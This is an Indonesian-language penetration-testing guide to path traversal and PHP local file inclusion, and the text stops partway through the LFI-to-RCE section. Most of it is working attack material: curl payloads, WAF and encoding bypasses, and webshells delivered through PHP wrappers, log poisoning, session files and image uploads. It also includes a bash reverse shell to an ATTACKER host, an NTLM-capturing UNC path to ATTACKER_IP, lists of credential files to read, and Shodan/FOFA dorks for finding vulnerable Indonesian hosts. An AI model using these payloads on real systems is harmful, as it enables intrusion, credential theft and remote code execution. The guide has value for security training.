Path Traversal & Local File Inclusion (LFI)

Path traversal, directory traversal, dan LFI — dari payload dasar, bypass WAF, LFI to RCE, hingga post-exploitation di berbagai platform dan framework.
February 26, 2026 Reading: 38 min Authors:
  • Siti
Table of Contents

Daftar Isi


Bab 1 — Dasar Path Traversal & LFI

1.1 Apa itu Path Traversal / Directory Traversal

Path traversal (directory traversal) adalah vulnerability di mana input dari user dipakai dalam operasi file tanpa sanitasi yang benar, sehingga attacker bisa navigasi keluar dari direktori yang seharusnya menggunakan sequence ../:

User input: ?file=../../../etc/passwd
                     |
Application: open("/var/www/html/" + "../../../etc/passwd")
                     |
Resolves to: open("/etc/passwd")  <-- file system root

Perbedaan terminologi:

IstilahPenjelasan
Path TraversalNavigasi keluar dari direktori root via ../ — bisa read file arbitrary
Directory TraversalSinonim untuk Path Traversal
LFI (Local File Inclusion)Spesifik PHP: file yang di-read di-execute sebagai PHP code
LFD (Local File Disclosure)File read tanpa eksekusi (non-PHP contexts)
RFI (Remote File Inclusion)PHP include() dari remote URL (allow_url_include=On)

1.2 Apa itu LFI (Local File Inclusion)

LFI adalah subset dari path traversal yang spesifik pada PHP. Ketika PHP function include(), require(), include_once(), atau require_once() menerima input user, file yang di-include di-execute sebagai PHP code — bukan hanya dibaca.

 1// LFI — file di-EXECUTE sebagai PHP
 2$page = $_GET['page'];
 3include($page);                    // berbahaya
 4include($page . '.php');           // masih berbahaya
 5
 6// Path traversal — file di-READ saja (tanpa eksekusi)
 7$content = file_get_contents($_GET['path']);
 8echo $content;
 9
10// Path traversal via readfile
11readfile($_GET['file']);
12
13// Path traversal via fopen
14$f = fopen($_GET['doc'], 'r');
15echo fread($f, filesize($_GET['doc']));

Severity comparison:

SkenarioDampak
Path traversal (file_get_contents, readfile)File disclosure saja
LFI (include/require)File disclosure + potensial RCE via log poisoning
LFI + file uploadLangsung RCE
LFI + PHP wrappers (php://input, data://)RCE tanpa file upload

1.3 Mengapa Terjadi — Root Cause

Penyebab utama:

  • User-controlled input langsung dipakai dalam file path operations
  • Tidak ada canonicalization / realpath() check
  • Tidak ada allowlist directory/file yang valid
  • Framework/CMS lama dengan legacy include patterns
  • open_basedir tidak dikonfigurasi
  • Web server misconfiguration (AllowOverride, follow symlinks)
 1// ========== SALAH — langsung pakai input ==========
 2include($_GET['page'] . '.php');
 3file_get_contents('/uploads/' . $_GET['file']);
 4readfile('/docs/' . $_GET['doc']);
 5
 6// ========== BENAR — allowlist ==========
 7$allowed = ['home', 'about', 'contact', 'faq'];
 8$page = $_GET['page'];
 9if (!in_array($page, $allowed, true)) {
10    die('Invalid page');
11}
12include(__DIR__ . '/pages/' . $page . '.php');
13
14// ========== BENAR — realpath check ==========
15$base = realpath('/var/www/html/pages/');
16$requested = realpath($base . '/' . $_GET['page']);
17if ($requested === false || strpos($requested, $base) !== 0) {
18    die('Access denied');
19}
20include($requested);
21
22// ========== BENAR — basename only (no directory traversal) ==========
23$file = basename($_GET['file']);  // strip semua path components
24include('/pages/' . $file . '.php');

1.4 Basic Payloads

PayloadKonteks
../../../etc/passwdLinux, direct traversal
....//....//....//etc/passwdFilter bypass (strip ../ → masih jadi ../)
..%2f..%2f..%2fetc%2fpasswdURL encoded /
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswdFull URL encoded
%2e%2e/%2e%2e/%2e%2e/etc/passwdPartial encoding (dots only)
..\..\..\windows\win.iniWindows backslash
..%5c..%5c..%5cwindows%5cwin.iniWindows URL encoded backslash
/etc/passwdAbsolute path (jika tidak ada prefix)
....\/....\/....\/etc/passwdMixed slash bypass
 1# ========== Test basic path traversal ==========
 2curl -s "https://target.com/page?file=../../../etc/passwd"
 3curl -s "https://target.com/page?file=....//....//....//etc/passwd"
 4curl -s "https://target.com/page?file=..%2f..%2f..%2fetc%2fpasswd"
 5
 6# ========== Brute depth (berapa level ../ diperlukan) ==========
 7for depth in $(seq 1 10); do
 8  payload=$(printf '../%.0s' $(seq 1 $depth))etc/passwd
 9  result=$(curl -s "https://target.com/?file=${payload}" | grep -c "root:")
10  echo "Depth $depth: $result match"
11  [ "$result" -gt 0 ] && break
12done
13
14# ========== Test Windows ==========
15curl -s "https://target.com/?file=..\..\..\..\windows\win.ini"
16curl -s "https://target.com/?file=..%5c..%5c..%5c..%5cwindows%5cwin.ini"

1.5 File Target Utama di Linux

FileIsiValue
/etc/passwdUser accounts (username, UID, home, shell)User enumeration
/etc/shadowPassword hashes (butuh root readable)Offline cracking
/etc/hostsLocal DNS entriesNetwork topology
/etc/hostnameServer hostnameRecon
/etc/os-releaseOS versionExploit selection
/etc/crontabSystem cron jobsPersistence paths
/etc/sudoersSudo rulesPrivesc paths
/etc/ssh/sshd_configSSH configAuth methods, port
/etc/nginx/nginx.confNginx main configVirtual hosts, upstreams
/etc/nginx/sites-enabled/defaultNginx site configDocument root, proxy pass
/etc/apache2/apache2.confApache main configModule list, includes
/etc/apache2/sites-enabled/000-default.confApache vhostDocument root
/etc/mysql/my.cnfMySQL configSocket, datadir
/home/*/.ssh/id_rsaSSH private keyDirect access ke server lain
/home/*/.ssh/id_ed25519SSH private key (modern)Direct access
/home/*/.ssh/authorized_keysAuthorized SSH keysAuth bypass
/home/*/.bash_historyCommand historyLeaked credentials
/root/.ssh/id_rsaRoot SSH keyFull access
/root/.bash_historyRoot command historyCredentials
/proc/self/environProcess environment variablesApp secrets, DB creds
/proc/self/cmdlineProcess command lineApp detection
/proc/self/statusProcess infoPID, capabilities
/proc/net/fib_trieRouting tableInternal IPs
/proc/net/tcpOpen TCP connectionsInternal services
/proc/self/cwd/Current working directorySymlink ke app root
/var/log/apache2/access.logApache access logLog poisoning
/var/log/apache2/error.logApache error logLog poisoning
/var/log/nginx/access.logNginx access logLog poisoning
/var/log/nginx/error.logNginx error logLog poisoning
/var/log/auth.logSSH auth logLog poisoning
/var/log/mail.logMail server logLog poisoning
/var/lib/php/sessions/sess_*PHP session filesSession inclusion
/tmp/sess_*PHP session (alt path)Session inclusion
/var/www/html/.envLaravel/app env varsDB creds, API keys, APP_KEY
/var/www/html/wp-config.phpWordPress configDB credentials
/var/www/html/config/database.phpCodeIgniter/Laravel DBDB credentials
/var/www/html/configuration.phpJoomla configDB credentials
/opt/lampp/etc/httpd.confXAMPP Apache configVirtual hosts

1.6 File Target Utama di Windows

FileIsiValue
C:\Windows\win.iniWindows config (test file)Verify traversal works
C:\Windows\System32\drivers\etc\hostsHosts fileNetwork topology
C:\Windows\System32\config\SAMPassword hashes (jika accessible)Credential dump
C:\Windows\System32\config\SYSTEMSystem registrySAM decryption key
C:\inetpub\wwwroot\web.configIIS configConnection strings, app secrets
C:\inetpub\logs\LogFiles\IIS logsLog poisoning
C:\xampp\phpMyAdmin\config.inc.phpphpMyAdmin configDB creds
C:\xampp\apache\conf\httpd.confApache configVirtual hosts
C:\xampp\mysql\data\mysql\user.MYDMySQL user dataPassword hashes
C:\ProgramData\MySQL\MySQL Server 8.0\my.iniMySQL configDB settings
C:\Users\*\Desktop\*Desktop filesSensitive docs
C:\Users\*\.ssh\id_rsaSSH private keyRemote access
C:\Users\*\AppData\Roaming\FileZilla\sitemanager.xmlFTP saved credsCredentials
C:\Users\*\AppData\Roaming\FileZilla\recentservers.xmlRecent FTPServer list + creds
C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login DataChrome passwords (SQLite)Credentials
C:\Windows\debug\NetSetup.logDomain join infoAD info
C:\Windows\Panther\unattend.xmlWindows install answersAdmin password

1.7 Parameter yang Sering Rentan

KategoriParameter Names
File loadfile, filename, filepath, path, pathname, name
Page/templatepage, template, view, layout, theme, skin
Language/localelang, language, locale, l, lng
Documentdoc, document, report, download, resource, attachment
Includeinclude, inc, content, load, module, component
Configconf, config, cfg, settings
Miscellaneousdata, source, src, input, read, show, display, cat, dir, action, board, date, detail, download, prefix, redirect, site, style, url
1# Fuzz parameter names — mana yang vulnerable
2ffuf -u "https://target.com/index.php?FUZZ=../../../etc/passwd" \
3  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
4  -fw 10 -mc 200
5
6# Setelah dapat parameter, fuzz value-nya
7ffuf -u "https://target.com/index.php?file=FUZZ" \
8  -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
9  -fw 10 -mc 200

1.8 Dorking: Google / Shodan / FOFA

 1# ========== Google Dorks ==========
 2
 3# PHP file inclusion patterns
 4inurl:"?page=" site:target.com
 5inurl:"?file=" site:target.com
 6inurl:"?path=" site:target.com
 7inurl:"?lang=" inurl:.php
 8inurl:"?template=" inurl:.php
 9inurl:"?include=" inurl:.php
10inurl:"?doc=" inurl:.php
11inurl:"?view=" inurl:.php
12
13# Error-based discovery (PHP error messages)
14inurl:.php "failed to open stream" site:target.com
15inurl:.php "No such file or directory" site:target.com
16inurl:.php "include_path" site:target.com
17inurl:.php "include(" "on line" site:target.com
18
19# Exposed config files
20inurl:config.php intext:"define("
21inurl:wp-config.php.bak
22filetype:inc inurl:include
1# ========== Shodan ==========
2http.html:"failed to open stream" country:"ID"
3http.html:"No such file or directory" http.status:500
4http.html:"include()" "on line"
5
6# ========== FOFA ==========
7body="failed to open stream" && body="include" && country="ID"
8body="No such file or directory" && body=".php"
9body="file_get_contents" && body="Warning"

1.9 Tools Discovery

ToolFungsiCommand
ffufFuzz parameter & pathffuf -u URL?file=FUZZ -w lfi-wordlist.txt
Burp SuiteIntercept + IntruderIntruder → Sniper → LFI payload list
dotdotpwnDedicated traversal fuzzerdotdotpwn -m http -h target.com -f /etc/passwd
LFISuiteAutomated LFI scannerpython lfisuite.py
NucleiTemplate-based scannernuclei -u target.com -tags lfi
kadimusLFI scanner + exploiterkadimus -u URL?page=FUZZ
 1# ========== Nuclei path traversal templates ==========
 2nuclei -u https://target.com -tags lfi,traversal
 3nuclei -u https://target.com -t http/vulnerabilities/generic/path-traversal.yaml
 4nuclei -l targets.txt -tags lfi -o lfi-results.txt
 5
 6# List available LFI templates
 7nuclei -tl | grep -i "traversal\|lfi"
 8
 9# CVE-specific
10nuclei -l targets.txt -t cves/2021/CVE-2021-41773.yaml  # Apache 2.4.49
11nuclei -l targets.txt -t cves/2021/CVE-2021-42013.yaml  # Apache 2.4.49/50
12
13# ========== dotdotpwn ==========
14dotdotpwn -m http -h target.com -p 80 -f /etc/passwd -q -b
15dotdotpwn -m http-url -u "https://target.com/page?file=TRAVERSAL" -f /etc/passwd -q
16
17# ========== ffuf dengan wordlist LFI ==========
18# Wordlists:
19# /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
20# /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
21# /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
22# /usr/share/wordlists/dirb/common.txt
23
24ffuf -u "https://target.com/?file=FUZZ" \
25  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
26  -mc 200 -fw 0

Bab 2 — Bypass Techniques

2.1 URL Encoding

Server atau WAF sering filter ../ literal. URL encoding bisa bypass filter yang decode setelah filter check:

OriginalURL Encoded
/%2f
.%2e
\%5c
../..%2f
../%2e%2e/
../%2e%2e%2f
..\..%5c
 1# Single encoding — dot
 2curl "https://target.com/?file=%2e%2e/%2e%2e/%2e%2e/etc/passwd"
 3
 4# Single encoding — slash
 5curl "https://target.com/?file=..%2f..%2f..%2fetc%2fpasswd"
 6
 7# Full encoding
 8curl "https://target.com/?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
 9
10# Generate encoded payload
11python3 -c "from urllib.parse import quote; print(quote('../../../etc/passwd', safe=''))"

2.2 Double Encoding

Server/WAF decode sekali → lolos filter. Aplikasi decode kedua kali → traverse:

OriginalSingle EncodeDouble Encode
.%2e%252e
/%2f%252f
\%5c%255c
../%2e%2e%2f%252e%252e%252f
1# Double encoded ../
2curl "https://target.com/?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
3
4# Partial double encoding (hanya slash)
5curl "https://target.com/?file=..%252f..%252f..%252fetc%252fpasswd"
6
7# Triple encoding (jarang tapi ada)
8curl "https://target.com/?file=%25252e%25252e%25252f%25252e%25252e%25252fetc%25252fpasswd"

2.3 Null Byte Injection

Untuk PHP < 5.3.4%00 terminates string di C-level, menghapus extension yang di-append:

1// Kode vulnerable:
2include($_GET['page'] . '.php');
3
4// Tanpa null byte: include("../../../etc/passwd.php") → file not found
5// Dengan null byte: include("../../../etc/passwd\0.php") → include("/etc/passwd")
1# Null byte injection
2curl "https://target.com/?page=../../../etc/passwd%00"
3curl "https://target.com/?page=../../../etc/passwd%00.jpg"
4curl "https://target.com/?page=../../../etc/passwd%00.php"
5
6# URL encoded null byte
7curl "https://target.com/?page=../../../etc/passwd%2500"

Catatan: PHP >= 5.3.4 sudah reject null bytes di file paths. Masih relevan untuk legacy PHP apps, C/C++ apps, dan beberapa Perl/CGI scripts.

2.4 Path Normalization Bypass

Ketika filter naif hanya cari/hapus ../ exact match:

 1# ========== Filter: str_replace('../', '', $input) ==========
 2# ....// → strip ../ → ../  (masih jadi ../)
 3curl "https://target.com/?file=....//....//....//etc/passwd"
 4
 5# ..././ → strip ../ → ../
 6curl "https://target.com/?file=..././..././..././etc/passwd"
 7
 8# ========== Java / Tomcat: ..;/ ==========
 9# Tomcat treat ;xxx sebagai path parameter, di-strip sebelum resolve
10curl "https://target.com/app/..;/WEB-INF/web.xml"
11curl "https://target.com/app/..;/..;/WEB-INF/web.xml"
12curl "https://target.com/app/..;/..;/..;/etc/passwd"
13
14# ========== Absolute path (jika prefix tidak dicek) ==========
15curl "https://target.com/?file=/etc/passwd"
16curl "https://target.com/?file=////etc/passwd"
17
18# ========== Windows trailing dot & space ==========
19curl "https://target.com/?file=../../../windows/win.ini."
20curl "https://target.com/?file=../../../windows/win.ini%20"
21curl "https://target.com/?file=../../../windows/win.ini::$DATA"
22
23# ========== Long path truncation (PHP < 5.3) ==========
24# PHP file path max 4096 chars. Padding dengan /. atau / berulang
25# ../../../etc/passwd/./././././././[...4096 chars...].php
26# → truncate → ../../../etc/passwd
27python3 -c "print('../../../etc/passwd/' + './' * 2048)"

Tabel bypass per filter:

FilterBypass
str_replace('../', '')....// atau ..././
str_replace(['../', '..\'], '')....//
Regex /\.\.\// (non-recursive)..././
Whitelist extensionNull byte %00, double extension
basename() onlyTidak bisa traverse (aman)
Prefix check startsWith('/uploads/')Symlink atau uploads/../../../etc/passwd

2.5 Unicode / UTF-8 Encoding

Overlong UTF-8 encoding — representasi non-standard karakter ASCII:

 1# ========== Overlong UTF-8 ==========
 2# / (0x2f) bisa direpresentasikan sebagai:
 3# %c0%af  → overlong 2-byte UTF-8
 4# %e0%80%af → overlong 3-byte UTF-8
 5curl "https://target.com/?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"
 6
 7# \ (0x5c) overlong:
 8# %c1%9c
 9curl "https://target.com/?file=..%c1%9c..%c1%9c..%c1%9cwindows%c1%9cwin.ini"
10
11# ========== IIS %u encoding ==========
12# Khusus IIS — Unicode escape
13curl "https://target.com/?file=%u002e%u002e%u002f%u002e%u002e%u002fetc%u002fpasswd"
14
15# ========== Fullwidth Unicode ==========
16# . = %ef%bc%8e (fullwidth full stop U+FF0E)
17# / = %ef%bc%8f (fullwidth solidus U+FF0F)
18curl "https://target.com/?file=%ef%bc%8e%ef%bc%8e%ef%bc%8f%ef%bc%8e%ef%bc%8e%ef%bc%8fetc%ef%bc%8fpasswd"

2.6 PHP Wrapper Abuse

PHP stream wrappers memungkinkan operasi yang jauh lebih powerful dari sekadar file read. Ini hanya berlaku untuk LFI (include/require), bukan path traversal biasa (file_get_contents masih bisa beberapa).

WrapperFungsiSyarat
php://filterRead file + encode (bypass PHP execution)Selalu tersedia
php://inputExecute POST body sebagai PHPallow_url_include=On
data://Inline PHP code di URLallow_url_include=On
file://Baca file lokal (eksplisit)Selalu tersedia
zip://Include file dari ZIP archivePerlu upload ZIP dulu
phar://PHP archive — deserialization attackPerlu upload PHAR dulu
expect://Execute shell command langsungExtension expect (jarang)

php://filter — File Read (paling sering dipakai)

 1# Baca file sebagai base64 — TIDAK di-execute sebagai PHP
 2curl "https://target.com/?page=php://filter/convert.base64-encode/resource=/etc/passwd"
 3# Output: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA0K...
 4
 5# Decode hasilnya
 6curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=/var/www/html/config.php" | \
 7  grep -oP '[A-Za-z0-9+/=]{20,}' | base64 -d
 8
 9# Baca source code PHP tanpa execution
10curl "https://target.com/?page=php://filter/read=convert.base64-encode/resource=index"
11curl "https://target.com/?page=php://filter/read=convert.base64-encode/resource=../config/database"
12
13# ROT13 encoding
14curl "https://target.com/?page=php://filter/read=string.rot13/resource=/etc/passwd"
15
16# Chain filter (base64 + rot13)
17curl "https://target.com/?page=php://filter/read=convert.base64-encode|string.rot13/resource=index.php"
18
19# Tanpa extension .php (jika append otomatis)
20curl "https://target.com/?page=php://filter/convert.base64-encode/resource=config"
21# → aplikasi append .php → baca config.php

php://input — RCE via POST

 1# Syarat: allow_url_include = On (cek di phpinfo)
 2# Kirim PHP code di POST body → di-execute
 3
 4curl -X POST "https://target.com/?page=php://input" \
 5  -d '<?php system("id"); ?>'
 6
 7curl -X POST "https://target.com/?page=php://input" \
 8  -d '<?php system($_GET["cmd"]); ?>' \
 9  --get --data-urlencode "cmd=cat /etc/passwd"
10
11# Reverse shell via php://input
12curl -X POST "https://target.com/?page=php://input" \
13  -d '<?php system("bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\""); ?>'

data:// — Inline PHP Code

 1# Syarat: allow_url_include = On
 2
 3# Encode PHP ke base64
 4echo -n '<?php system($_GET["cmd"]); ?>' | base64
 5# PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+
 6
 7# Execute via data wrapper
 8curl "https://target.com/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id"
 9
10# Tanpa base64
11curl "https://target.com/?page=data://text/plain,<?php system('id'); ?>"

expect:// — Direct Command Execution

1# Syarat: PHP expect extension ter-install (jarang tapi ada)
2curl "https://target.com/?page=expect://id"
3curl "https://target.com/?page=expect://whoami"
4curl "https://target.com/?page=expect://cat%20/etc/passwd"

zip:// dan phar://

 1# ========== zip:// ==========
 2# 1. Buat PHP shell dalam ZIP
 3echo '<?php system($_GET["cmd"]); ?>' > shell.php
 4zip shell.zip shell.php
 5
 6# 2. Upload shell.zip sebagai image (bypass extension filter)
 7# mv shell.zip shell.jpg && upload
 8
 9# 3. Include via zip wrapper
10curl "https://target.com/?page=zip:///var/www/html/uploads/shell.jpg%23shell.php&cmd=id"
11# zip://[path_to_zip]#[file_inside_zip]
12
13# ========== phar:// ==========
14# 1. Buat PHAR file (PHP script)
15# <?php
16# $phar = new Phar('shell.phar');
17# $phar->startBuffering();
18# $phar->setStub('<?php __HALT_COMPILER();');
19# $phar->addFromString('shell.php', '<?php system($_GET["cmd"]); ?>');
20# $phar->stopBuffering();
21
22# 2. Upload & include
23curl "https://target.com/?page=phar:///var/www/html/uploads/shell.phar/shell.php&cmd=id"

2.7 WAF Bypass Techniques

 1# ========== Chunked Transfer Encoding ==========
 2# Beberapa WAF tidak inspect chunked body
 3curl -X POST "https://target.com/?page=php://input" \
 4  -H "Transfer-Encoding: chunked" \
 5  -d $'17\r\n<?php system("id"); ?>\r\n0\r\n\r\n'
 6
 7# ========== Case variation (Windows) ==========
 8curl "https://target.com/?file=..\..\..\..\WiNdOwS\WiN.InI"
 9
10# ========== Payload di Header ==========
11# Jika parameter bisa dibaca dari header (custom app)
12curl "https://target.com/" -H "X-File: ../../../etc/passwd"
13
14# ========== Newline injection ==========
15# Beberapa parser tertipu dengan newline
16curl "https://target.com/?file=../../../etc%0a/passwd"
17
18# ========== Tab dan space ==========
19curl "https://target.com/?file=../../../etc/passwd%09"
20curl "https://target.com/?file=%20../../../etc/passwd"
21
22# ========== Double URL parameter ==========
23# Jika WAF hanya cek parameter pertama tapi app pakai yang terakhir
24curl "https://target.com/?file=safe.txt&file=../../../etc/passwd"
25
26# ========== Path dengan directory yang valid ==========
27# Bypass WAF yang cek apakah path dimulai dengan folder yang valid
28curl "https://target.com/?file=images/../../../etc/passwd"
29curl "https://target.com/?file=css/../../../../../../etc/passwd"

2.8 OS-Specific Tricks

Windows

 1# Backslash separator
 2curl "https://target.com/?file=..\..\..\..\windows\win.ini"
 3
 4# UNC path (akses SMB share — bisa capture NTLM hash!)
 5curl "https://target.com/?file=\\\\ATTACKER_IP\\share\\evil.php"
 6# → Responder menangkap NTLMv2 hash
 7
 8# Alternate Data Stream (ADS) — bypass extension check
 9curl "https://target.com/?file=../../../windows/win.ini::$DATA"
10
11# 8.3 short filename — bypass filename filter
12# C:\Windows\System32 → C:\WINDOW~1\SYSTEM~1
13curl "https://target.com/?file=..\..\..\..\WINDOW~1\SYSTEM~1\drivers\etc\hosts"
14
15# IIS-specific: semicolon
16curl "https://target.com/page.asp;.jpg?file=../../../windows/win.ini"

Linux

 1# Symlink abuse (jika bisa create symlink via upload atau write)
 2# ln -s /etc/passwd /var/www/html/uploads/link.txt
 3
 4# /proc filesystem — virtual files
 5curl "https://target.com/?file=/proc/self/environ"
 6curl "https://target.com/?file=/proc/self/cmdline"
 7curl "https://target.com/?file=/proc/1/environ"     # PID 1 (init/systemd)
 8curl "https://target.com/?file=/proc/self/fd/0"      # stdin
 9curl "https://target.com/?file=/proc/self/cwd/config.php"  # relative dari CWD
10
11# /dev/stdin trick
12curl "https://target.com/?file=/dev/stdin" -d '<?php system("id"); ?>'

2.9 Wordlist & Burp Intruder Setup

 1# ========== Wordlists yang wajib punya ==========
 2
 3# SecLists — LFI specific
 4/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt          # ~900 payloads
 5/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
 6/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
 7/usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
 8/usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt
 9
10# Parameter names
11/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
12
13# Traversal payloads (bypass encodings)
14/usr/share/seclists/Fuzzing/path-traversal-all-encodings.txt
15
16# Download jika belum ada
17git clone https://github.com/danielmiessler/SecLists.git

Burp Intruder setup:

  1. Intercept request yang ada parameter file/page/dll
  2. Send to Intruder → mark parameter value sebagai injection point
  3. Payload type: Simple list → load LFI-Jhaddix.txt
  4. Grep match: tambahkan root:, [boot loader], for 16-bit (untuk detect success)
  5. Filter results by response length (berbeda = mungkin berhasil)

Bab 3 — LFI to RCE

3.1 Log Poisoning — Apache / Nginx

Prinsip: Inject PHP code ke log file, lalu LFI include log file → PHP di-execute.

Target log files:

Log FileInjection Point
/var/log/apache2/access.logUser-Agent, Referer, URL path
/var/log/apache2/error.logInvalid request → file path logged
/var/log/nginx/access.logUser-Agent, Referer
/var/log/nginx/error.logInvalid request
/var/log/httpd/access_logRHEL/CentOS Apache
/opt/lampp/logs/access_logXAMPP
 1# ========== Step 1: Inject PHP ke access log via User-Agent ==========
 2curl -s "https://target.com/" \
 3  -A '<?php system($_GET["cmd"]); ?>'
 4
 5# ========== Step 2: Verifikasi log bisa dibaca via LFI ==========
 6curl -s "https://target.com/?page=../../../var/log/apache2/access.log" | tail -5
 7
 8# ========== Step 3: Execute command via log file ==========
 9curl -s "https://target.com/?page=../../../var/log/apache2/access.log&cmd=id"
10curl -s "https://target.com/?page=../../../var/log/apache2/access.log&cmd=cat+/etc/passwd"
11
12# ========== Variasi: inject via Referer ==========
13curl -s "https://target.com/" \
14  -H 'Referer: <?php system($_GET["cmd"]); ?>'
15
16# ========== Variasi: Nginx ==========
17curl -s "https://target.com/?page=../../../var/log/nginx/access.log&cmd=id"
18
19# ========== Error log poisoning ==========
20# Request file yang tidak ada → path masuk error log
21curl -s 'https://target.com/<?php system($_GET["cmd"]); ?>'
22# → error.log: File does not exist: /var/www/html/<?php system(...); ?>
23
24curl -s "https://target.com/?page=../../../var/log/apache2/error.log&cmd=id"

Perhatian: Log file bisa sangat besar. Jika response timeout, coba php://filter/convert.base64-encode/resource=/var/log/apache2/access.log dulu untuk verifikasi ukuran.

3.2 Log Poisoning — SSH Auth Log

 1# ========== SSH auth log ==========
 2# /var/log/auth.log (Debian/Ubuntu)
 3# /var/log/secure (RHEL/CentOS)
 4
 5# Step 1: Inject PHP via SSH username
 6ssh '<?php system($_GET["cmd"]); ?>'@target.com
 7# SSH akan fail tapi username tercatat di auth.log:
 8# Failed password for invalid user <?php system($_GET["cmd"]); ?> from ...
 9
10# Step 2: Include auth.log via LFI
11curl -s "https://target.com/?page=../../../var/log/auth.log&cmd=id"
12
13# Catatan: perlu LFI user bisa baca auth.log (biasanya www-data group adm)

3.3 Log Poisoning — Mail Log

 1# ========== Mail log ==========
 2# /var/log/mail.log
 3
 4# Step 1: Inject via SMTP (jika port 25 terbuka)
 5telnet target.com 25
 6EHLO attacker.com
 7MAIL FROM:<attacker@evil.com>
 8RCPT TO:<?php system($_GET["cmd"]); ?>@target.com
 9DATA
10Subject: test
11test
12.
13QUIT
14
15# Step 2: Include mail log
16curl -s "https://target.com/?page=../../../var/log/mail.log&cmd=id"

3.4 /proc/self/environ

 1# /proc/self/environ berisi environment variables proses PHP saat ini
 2# Jika bisa di-read via LFI, inject PHP via HTTP_USER_AGENT
 3
 4# Step 1: Cek apakah /proc/self/environ bisa dibaca
 5curl -s "https://target.com/?page=../../../proc/self/environ"
 6# Jika berhasil → terlihat environment variables (HTTP_USER_AGENT, SERVER_NAME, dll)
 7
 8# Step 2: Inject PHP code via User-Agent dan include /proc/self/environ
 9curl -s "https://target.com/?page=../../../proc/self/environ" \
10  -A '<?php system($_GET["cmd"]); ?>'
11
12# Step 3: Sekarang tambah &cmd=
13curl -s "https://target.com/?page=../../../proc/self/environ&cmd=id" \
14  -A '<?php system($_GET["cmd"]); ?>'
15
16# Catatan: di PHP modern + Apache mod_php, /proc/self/environ mungkin tidak readable
17# oleh www-data. Lebih sering berhasil di CGI/FastCGI setup.

3.5 /proc/self/fd/ Technique

 1# File descriptors — setiap proses punya FD yang point ke open files
 2# /proc/self/fd/0 = stdin
 3# /proc/self/fd/1 = stdout
 4# /proc/self/fd/2 = stderr
 5# /proc/self/fd/N = other open files (log files, temp files, dll)
 6
 7# Step 1: Inject PHP via User-Agent (sama seperti log poisoning)
 8curl -s "https://target.com/" -A '<?php system($_GET["cmd"]); ?>'
 9
10# Step 2: Brute force file descriptor numbers
11for fd in $(seq 0 30); do
12  result=$(curl -s "https://target.com/?page=../../../proc/self/fd/${fd}&cmd=id" | grep -c "uid=")
13  if [ "$result" -gt 0 ]; then
14    echo "Found at fd=$fd"
15    break
16  fi
17done
18
19# fd yang sering berisi log:
20# fd/2 → stderr (error log)
21# fd/5-10 → biasanya access/error log tergantung konfigurasi

3.6 PHP Session File Inclusion

 1# PHP menyimpan session data di file
 2# Lokasi: /var/lib/php/sessions/sess_<PHPSESSID>
 3#     atau /tmp/sess_<PHPSESSID>
 4#     atau custom path dari session.save_path
 5
 6# Step 1: Inject PHP code ke session variable
 7# Jika ada form yang simpan input ke session (misal: username, search query, language preference)
 8curl -s "https://target.com/login.php" \
 9  -d 'username=<?php system($_GET["cmd"]); ?>&password=test' \
10  -c cookies.txt
11
12# Step 2: Ambil PHPSESSID dari cookie
13SESSID=$(grep PHPSESSID cookies.txt | awk '{print $NF}')
14
15# Step 3: Include session file
16curl -s "https://target.com/?page=../../../var/lib/php/sessions/sess_${SESSID}&cmd=id"
17curl -s "https://target.com/?page=../../../tmp/sess_${SESSID}&cmd=id"
18
19# Variasi: jika ada fitur "set language" yang simpan ke session
20curl -s "https://target.com/setlang.php?lang=<?php system(\$_GET['cmd']); ?>" -c cookies.txt
21SESSID=$(grep PHPSESSID cookies.txt | awk '{print $NF}')
22curl -s "https://target.com/?page=../../../tmp/sess_${SESSID}&cmd=id"

3.7 Uploaded File Inclusion

 1# Jika target punya file upload (avatar, document, dll)
 2
 3# ========== Method 1: PHP code dalam image ==========
 4# Buat image yang valid tapi berisi PHP code di metadata
 5
 6# JPEG dengan PHP di EXIF comment
 7exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
 8# Upload image.jpg → path: /uploads/image.jpg
 9
10# Include via LFI
11curl "https://target.com/?page=../../../var/www/html/uploads/image.jpg&cmd=id"
12
13# ========== Method 2: GIF header + PHP ==========
14printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif
15# Upload shell.gif → GIF header lolos magic byte check
16# Include via LFI → PHP di-execute
17
18# ========== Method 3: Double extension ==========
19# Upload file: shell.php.jpg (jika server hanya cek extension akhir)
20# Tapi include path tetap: shell.php.jpg (PHP di-include akan execute)
21
22# ========== Method 4: ZIP upload (lihat 2.6 zip:// wrapper) ==========
23echo '<?php system($_GET["cmd"]); ?>' > shell.php
24zip shell.zip shell.php
25mv shell.zip avatar.jpg
26# Upload avatar.jpg
27curl "https://target.com/?page=zip:///uploads/avatar.jpg%23shell.php&cmd=id"

3.8 PHP Wrappers to RCE

Rangkuman wrapper yang bisa langsung RCE (detail di section 2.6):

 1# ========== php://input (POST body = PHP code) ==========
 2curl -X POST "https://target.com/?page=php://input" \
 3  -d '<?php system("id"); ?>'
 4
 5# ========== data:// (inline PHP) ==========
